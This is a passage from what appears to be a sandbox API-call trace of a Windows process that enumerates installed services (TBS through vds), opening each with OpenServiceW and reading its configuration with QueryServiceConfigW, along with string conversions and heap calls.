returned 0 [0249.376] GetLastError () returned 0x7a [0249.376] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x136, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e702f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x1e702f0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tbs", lpUsedDefaultChar=0x0) returned 3 [0249.376] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TBS", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.377] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.377] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.377] GetLastError () returned 0x7a [0249.377] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70338, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x1e70338, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservice", lpUsedDefaultChar=0x0) returned 11 [0249.378] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TermService", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.379] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.379] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.379] GetLastError () returned 0x7a [0249.379] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70380, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x1e70380, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="themes", lpUsedDefaultChar=0x0) returned 6 [0249.380] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Themes", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.381] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.381] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.381] GetLastError () returned 0x7a [0249.381] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x100, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e703c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x1e703c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="threadorder", lpUsedDefaultChar=0x0) returned 11 [0249.382] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="THREADORDER", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.383] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.383] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.383] GetLastError () returned 0x7a [0249.383] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70410, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x1e70410, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trkwks", lpUsedDefaultChar=0x0) returned 6 [0249.384] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TrkWks", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.384] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.385] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.385] GetLastError () returned 0x7a [0249.385] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70458, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x1e70458, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller", lpUsedDefaultChar=0x0) returned 16 [0249.386] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TrustedInstaller", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.386] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.387] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.387] GetLastError () returned 0x7a [0249.387] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x1e704a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller.exe", lpUsedDefaultChar=0x0) returned 20 [0249.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x1e704a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect", lpUsedDefaultChar=0x0) returned 9 [0249.388] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="UI0Detect", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.388] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.389] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.389] GetLastError () returned 0x7a [0249.389] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x104, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x1e704e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect.exe", lpUsedDefaultChar=0x0) returned 13 [0249.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x1e704e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="umrdpservice", lpUsedDefaultChar=0x0) returned 12 [0249.390] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="UmRdpService", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.390] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.391] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.391] GetLastError () returned 0x7a [0249.391] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x186, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70530, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x1e70530, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnphost", lpUsedDefaultChar=0x0) returned 8 [0249.392] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="upnphost", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.392] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.393] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.393] GetLastError () returned 0x7a [0249.393] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x15c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70578, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x1e70578, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uxsms", lpUsedDefaultChar=0x0) returned 5 [0249.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e705c0 [0249.395] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70578) returned 1 [0249.395] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e705c0) returned 1 [0249.395] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1368) returned 1 [0249.395] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="UxSms", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.395] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.395] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.396] GetLastError () returned 0x7a [0249.396] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1368 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de13f0 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1368) returned 1 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de13f0) returned 1 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de13f0 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1368 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de13f0) returned 1 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1368) returned 1 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1368 [0249.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e705c0 [0249.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e705c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70578 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e705c0) returned 1 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70578) returned 1 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1368) returned 1 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70578 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1368 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de13f0 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1478 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1500 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1588 [0249.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e705c0 [0249.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x1e705c0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vaultsvc", lpUsedDefaultChar=0x0) returned 8 [0249.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70608 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e705c0) returned 1 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70608) returned 1 [0249.397] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1588) returned 1 [0249.397] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="VaultSvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.399] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.400] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.400] GetLastError () returned 0x7a [0249.400] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0xee, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1588 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1610 [0249.401] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1588) returned 1 [0249.401] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1610) returned 1 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1610 [0249.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70608 [0249.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e70608, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e705c0 [0249.401] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70608) returned 1 [0249.401] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e705c0) returned 1 [0249.401] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1610) returned 1 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e705c0 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1610 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1588 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1698 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1720 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de17a8 [0249.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70608 [0249.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x1e70608, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds", lpUsedDefaultChar=0x0) returned 3 [0249.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70650 [0249.402] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70608) returned 1 [0249.402] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70650) returned 1 [0249.402] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de17a8) returned 1 [0249.402] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="vds", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.402] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.402] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.403] GetLastError () returned 0x7a [0249.403] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0xd4, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de17a8 [0249.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1830 [0249.403] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de17a8) returned 1 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1830) returned 1 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1830 [0249.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", 